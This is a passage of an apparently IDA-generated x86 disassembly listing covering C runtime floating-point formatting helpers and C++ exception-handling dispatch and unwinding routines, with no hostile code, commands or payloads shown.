sub_41CA71+B6j neg esi cmp ebx, esi jl short loc_41CB35 loc_41CB33: ; CODE XREF: sub_41CA71+BAj mov ebx, esi loc_41CB35: ; CODE XREF: sub_41CA71+C0j push ebx push edi call sub_41CC85 push ebx push 30h push edi call sub_417330 add esp, 14h loc_41CB48: ; CODE XREF: sub_41CA71+94j ; sub_41CA71+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_41CA71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB4F proc near ; CODE XREF: sub_41CC34+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_42074B mov dword_4CDA20, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4CDA28, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_4206D4 mov eax, dword_4CDA20 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4CDA28, ecx setl cl mov byte_4CDA2C, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4CDA28, eax jl short loc_41CBD5 cmp eax, ebx jge short loc_41CBD5 test cl, cl jz short loc_41CBC6 loc_41CBBC: ; CODE XREF: sub_41CB4F+72j mov al, [esi] inc esi test al, al jnz short loc_41CBBC and [esi-2], al loc_41CBC6: ; CODE XREF: sub_41CB4F+6Bj push ebx push [ebp+arg_4] push edi call sub_41CC11 add esp, 0Ch jmp short loc_41CBE5 ; --------------------------------------------------------------------------- loc_41CBD5: ; CODE XREF: sub_41CB4F+63j ; sub_41CB4F+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_41CBEA add esp, 10h loc_41CBE5: ; CODE XREF: sub_41CB4F+84j pop edi pop esi pop ebx pop ebp retn sub_41CB4F endp ; =============== S U B R O U T I N E ======================================= sub_41CBEA proc near ; CODE XREF: sub_41CB4F+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4CDA24, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C96D and byte_4CDA24, 0 add esp, 10h retn sub_41CBEA endp ; =============== S U B R O U T I N E ======================================= sub_41CC11 proc near ; CODE XREF: sub_41CB4F+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4CDA24, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41CA71 and byte_4CDA24, 0 add esp, 0Ch retn sub_41CC11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC34 proc near ; CODE XREF: sub_419E38+3AAp ; DATA XREF: sub_417D8Bo ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_41CC6F cmp [ebp+arg_8], 45h jz short loc_41CC6F cmp [ebp+arg_8], 66h jnz short loc_41CC5C push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41CA71 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_41CC5C: ; CODE XREF: sub_41CC34+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41CB4F jmp short loc_41CC80 ; --------------------------------------------------------------------------- loc_41CC6F: ; CODE XREF: sub_41CC34+7j ; sub_41CC34+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41C96D loc_41CC80: ; CODE XREF: sub_41CC34+39j add esp, 10h pop ebp retn sub_41CC34 endp ; =============== S U B R O U T I N E ======================================= sub_41CC85 proc near ; CODE XREF: sub_41C96D+2Cp ; sub_41CA71+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_41CCA8 push esi mov esi, [esp+8+arg_0] push esi call sub_417AB0 inc eax push eax push esi add esi, edi push esi call sub_4182C0 add esp, 10h pop esi loc_41CCA8: ; CODE XREF: sub_41CC85+7j pop edi retn sub_41CC85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CCAA proc near ; CODE XREF: ___:00417F6Cp ; sub_417FD5+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_41CCC0 call sub_41D552 loc_41CCC0: ; CODE XREF: sub_41CCAA+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_41CCE8 cmp dword ptr [esi+4], 0 jz short loc_41CD3E cmp [ebp+arg_14], 0 jnz short loc_41CD3E push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_41CFF1 add esp, 10h jmp short loc_41CD3E ; --------------------------------------------------------------------------- loc_41CCE8: ; CODE XREF: sub_41CCAA+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_41CD3E cmp dword ptr [eax], 0E06D7363h jnz short loc_41CD22 cmp [eax+14h], edi jbe short loc_41CD22 mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_41CD22 movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_41CD41 ; --------------------------------------------------------------------------- loc_41CD22: ; CODE XREF: sub_41CCAA+4Aj ; sub_41CCAA+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_41CD45 add esp, 20h loc_41CD3E: ; CODE XREF: sub_41CCAA+23j ; sub_41CCAA+29j ... push 1 pop eax loc_41CD41: ; CODE XREF: sub_41CCAA+76j pop edi pop esi pop ebp retn sub_41CCAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CD45 proc near ; CODE XREF: sub_41CCAA+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_41CD65 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_41CD6A loc_41CD65: ; CODE XREF: sub_41CD45+16j call sub_41D552 loc_41CD6A: ; CODE XREF: sub_41CD45+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz short loc_41CDDE cmp [esi+14h], edi jnz short loc_41CDDE cmp dword ptr [esi+1Ch], 0 jnz short loc_41CDDE mov esi, dword_4CDA30 test esi, esi jz loc_41CEBC mov eax, dword_4CDA34 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_4208D2 pop ecx test eax, eax pop ecx jnz short loc_41CDC0 call sub_41D552 loc_41CDC0: ; CODE XREF: sub_41CD45+74j cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz short loc_41CDDE cmp [esi+14h], edi jnz short loc_41CDDE cmp dword ptr [esi+1Ch], 0 jnz short loc_41CDDE call sub_41D552 loc_41CDDE: ; CODE XREF: sub_41CD45+41j ; sub_41CD45+46j ... cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz loc_41CEC1 cmp [esi+14h], edi jnz loc_41CEC1 mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_418123 add esp, 14h mov ebx, eax loc_41CE15: ; CODE XREF: sub_41CD45+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_41CEAC cmp [ebx], edi jg short loc_41CEA1 cmp edi, [ebx+4] jg short loc_41CEA1 mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_41CE9E loc_41CE3A: ; CODE XREF: sub_41CD45+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_41CE6B loc_41CE4C: ; CODE XREF: sub_41CD45+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_41CF94 add esp, 0Ch test eax, eax jnz short loc_41CE7A dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_41CE4C loc_41CE6B: ; CODE XREF: sub_41CD45+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_41CE3A jmp short loc_41CE9E ; --------------------------------------------------------------------------- loc_41CE7A: ; CODE XREF: sub_41CD45+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41D0A5 ; --------------------------------------------------------------------------- add esp, 2Ch loc_41CE9E: ; CODE XREF: sub_41CD45+F3j ; sub_41CD45+133j mov edi, [ebp+var_10] loc_41CEA1: ; CODE XREF: sub_41CD45+DEj ; sub_41CD45+E3j inc [ebp+var_4] add ebx, 14h jmp loc_41CE15 ; --------------------------------------------------------------------------- loc_41CEAC: ; CODE XREF: sub_41CD45+D6j cmp [ebp+arg_14], 0 jz short loc_41CEBC push 1 push esi call sub_41D41A pop ecx pop ecx loc_41CEBC: ; CODE XREF: sub_41CD45+56j ; sub_41CD45+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41CEC1: ; CODE XREF: sub_41CD45+37j ; sub_41CD45+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_41CEE7 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41CEEC add esp, 20h jmp short loc_41CEBC ; --------------------------------------------------------------------------- loc_41CEE7: ; CODE XREF: sub_41CD45+180j jmp sub_41D4FC sub_41CD45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CEEC proc near ; CODE XREF: sub_41CD45+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4CDA38, 0 push esi push edi jz short loc_41CF1D push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_417FFA add esp, 1Ch test eax, eax jnz short loc_41CF90 loc_41CF1D: ; CODE XREF: sub_41CEEC+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_418123 add esp, 14h mov esi, eax loc_41CF39: ; CODE XREF: sub_41CEEC+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_41CF90 cmp edi, [esi] jl short loc_41CF88 cmp edi, [esi+4] jg short loc_41CF88 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_41CF62 cmp byte ptr [ecx+8], 0 jnz short loc_41CF88 loc_41CF62: ; CODE XREF: sub_41CEEC+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41D0A5 ; --------------------------------------------------------------------------- add esp, 2Ch loc_41CF88: ; CODE XREF: sub_41CEEC+57j ; sub_41CEEC+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_41CF39 ; --------------------------------------------------------------------------- loc_41CF90: ; CODE XREF: sub_41CEEC+2Fj ; sub_41CEEC+53j pop edi pop esi leave retn sub_41CEEC endp ; =============== S U B R O U T I N E ======================================= sub_41CF94 proc near ; CODE XREF: sub_41CD45+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_41CFEB cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_41CFEB mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_41CFC5 add ecx, 8 push ecx push edx call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41CFE7 loc_41CFC5: ; CODE XREF: sub_41CF94+1Fj test byte ptr [esi], 2 jz short loc_41CFCF test byte ptr [edi], 8 jz short loc_41CFE7 loc_41CFCF: ; CODE XREF: sub_41CF94+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_41CFDE test byte ptr [edi], 1 jz short loc_41CFE7 loc_41CFDE: ; CODE XREF: sub_41CF94+43j test al, 2 jz short loc_41CFEB test byte ptr [edi], 2 jnz short loc_41CFEB loc_41CFE7: ; CODE XREF: sub_41CF94+2Fj ; sub_41CF94+39j ... xor eax, eax jmp short loc_41CFEE ; --------------------------------------------------------------------------- loc_41CFEB: ; CODE XREF: sub_41CF94+Bj ; sub_41CF94+14j ... push 1 pop eax loc_41CFEE: ; CODE XREF: sub_41CF94+55j pop edi pop esi retn sub_41CF94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CFF1 proc near ; CODE XREF: sub_41CCAA+34p ; ___:0041D0E7p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424860 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_41D023: ; CODE XREF: sub_41CFF1+8Aj cmp esi, [ebp+arg_C] jz short loc_41D07D cmp esi, 0FFFFFFFFh jle short loc_41D032 cmp esi, [edi+4] jl short loc_41D037 loc_41D032: ; CODE XREF: sub_41CFF1+3Aj call sub_41D552 loc_41D037: ; CODE XREF: sub_41CFF1+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_41D052 push 103h push ebx push eax call sub_41D4B0 loc_41D052: ; CODE XREF: sub_41CFF1+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_41D072 ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_41D08F pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_41D072: ; CODE XREF: sub_41CFF1+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_41D023 ; --------------------------------------------------------------------------- loc_41D07D: ; CODE XREF: sub_41CFF1+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41CFF1 endp ; =============== S U B R O U T I N E ======================================= sub_41D08F proc near ; CODE XREF: sub_41CFF1+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_41D0A0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41D0A0: ; CODE XREF: sub_41D08F+Cj jmp sub_41D4FC sub_41D08F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D0A5 proc near ; CODE XREF: sub_41CD45+151p ; sub_41CEEC+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_41D0C7 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_41D256 add esp, 10h loc_41D0C7: ; CODE XREF: sub_41D0A5+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_41D0D3 push edi jmp short loc_41D0D6 ; --------------------------------------------------------------------------- loc_41D0D3: ; CODE XREF: sub_41D0A5+29j push [ebp+arg_24] loc_41D0D6: ; CODE XREF: sub_41D0A5+2Cj call sub_417EFC sub_41D0A5 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_41CFF1 mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_41D120 add esp, 2Ch test eax, eax jz short loc_41D11B push edi push eax call sub_417EBA loc_41D11B: ; CODE XREF: ___:0041D112j pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D120 proc near ; CODE XREF: ___:0041D108p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424870 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4CDA30 mov [ebp+var_1C], ecx mov ecx, dword_4CDA34 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4CDA30, edi mov ecx, [ebp+arg_8] mov dword_4CDA34, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_417F81 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_41D1E6 mov eax, [ebp+var_2C] loc_41D1AD: ; CODE XREF: sub_41D1C6+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D120 endp ; =============== S U B R O U T I N E ======================================= sub_41D1BC proc near ; DATA XREF: ___:00424880o push dword ptr [ebp-14h] call sub_41D22C pop ecx retn sub_41D1BC endp ; =============== S U B R O U T I N E ======================================= sub_41D1C6 proc near ; DATA XREF: ___:00424884o mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_4181E2 pop ecx pop ecx xor eax, eax jmp short loc_41D1AD sub_41D1C6 endp ; --------------------------------------------------------------------------- loc_41D1DE: ; DATA XREF: ___:00424878o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_41D1E6 proc near ; CODE XREF: sub_41D120+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4CDA30, eax mov eax, [ebp-20h] mov dword_4CDA34, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_41D22B cmp dword ptr [edi+10h], 3 jnz short locret_41D22B cmp dword ptr [edi+14h], 19930520h jnz short locret_41D22B cmp [ebp-24h], ebx jnz short locret_41D22B cmp [ebp-2Ch], ebx jz short locret_41D22B call sub_41824A push eax push edi call sub_41D41A pop ecx pop ecx locret_41D22B: ; CODE XREF: sub_41D1E6+1Cj ; sub_41D1E6+22j ... retn sub_41D1E6 endp ; =============== S U B R O U T I N E ======================================= sub_41D22C proc near ; CODE XREF: sub_41D1BC+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_41D253 cmp dword ptr [eax+10h], 3 jnz short loc_41D253 cmp dword ptr [eax+14h], 19930520h jnz short loc_41D253 cmp dword ptr [eax+1Ch], 0 jnz short loc_41D253 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D253: ; CODE XREF: sub_41D22C+Cj ; sub_41D22C+12j ... xor eax, eax retn sub_41D22C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D256 proc near ; CODE XREF: sub_41D0A5+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424888 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_41D3FF cmp byte ptr [eax+8], 0 jz loc_41D3FF mov eax, [ecx+8] test eax, eax jz loc_41D3FF mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_41D2F3 mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz loc_41D3F6 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_41D2E4: ; CODE XREF: sub_41D256+F5j push eax call sub_41D481 pop ecx pop ecx mov [edi], eax jmp loc_41D3FB ; --------------------------------------------------------------------------- loc_41D2F3: ; CODE XREF: sub_41D256+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_41D34D mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz loc_41D3F6 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_4182C0 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_41D3FB mov eax, [edi] test eax, eax jz loc_41D3FB add esi, 8 push esi jmp short loc_41D2E4 ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D256+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_41D395 call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz short loc_41D3F6 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push edi call sub_4182C0 add esp, 0Ch jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D395: ; CODE XREF: sub_41D256+103j call sub_4208D2 pop ecx pop ecx test eax, eax jz short loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz short loc_41D3F6 push dword ptr [esi+18h] call sub_42090A pop ecx test eax, eax jz short loc_41D3F6 test byte ptr [esi], 4 jz short loc_41D3DC push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_417EF5 jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D3DC: ; CODE XREF: sub_41D256+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_417EEE jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D3F6: ; CODE XREF: sub_41D256+6Aj ; sub_41D256+7Cj ... call sub_41D552 loc_41D3FB: ; CODE XREF: sub_41D256+98j ; sub_41D256+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_41D3FF: ; CODE XREF: sub_41D256+2Ej ; sub_41D256+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D256 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41D4FC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D41A proc near ; CODE XREF: sub_41CD45+170p ; sub_41D1E6+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424898 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_41D461 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_41D461 and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_417EEE or [ebp+var_4], 0FFFFFFFFh loc_41D461: ; CODE XREF: sub_41D41A+2Aj ; sub_41D41A+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D41A endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41D4FC ; =============== S U B R O U T I N E ======================================= sub_41D481 proc near ; CODE XREF: sub_41D256+8Fp ; sub_41D256+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_41D4A2 mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_41D4A2: ; CODE XREF: sub_41D481+12j pop esi retn sub_41D481 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4B0 proc near ; CODE XREF: sub_417F81+40p ; sub_41CFF1+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41826D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_41D4EF mov ecx, 2 loc_41D4EF: ; CODE XREF: sub_41D4B0+38j push ecx call sub_41826D pop ebp pop ecx pop ebx leave retn 0Ch sub_41D4B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4FC proc near ; CODE XREF: sub_41CD45:loc_41CEE7j ; sub_41D08F:loc_41D0A0j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00420922 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4248A8 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4CDA3C test eax, eax jz short loc_41D544 mov [ebp+var_4], 1 call eax jmp short loc_41D540 ; --------------------------------------------------------------------------- loc_41D539: ; DATA XREF: ___:004248B8o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D53D: ; DATA XREF: ___:004248BCo mov esp, [ebp+var_18] loc_41D540: ; CODE XREF: sub_41D4FC+3Bj and [ebp+var_4], 0 loc_41D544: ; CODE XREF: sub_41D4FC+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41D54D: ; DATA XREF: ___:004248B0o jmp loc_420922 sub_41D4FC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D552 proc near ; CODE XREF: sub_418123+23p ; sub_418123:loc_41818Ep ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh 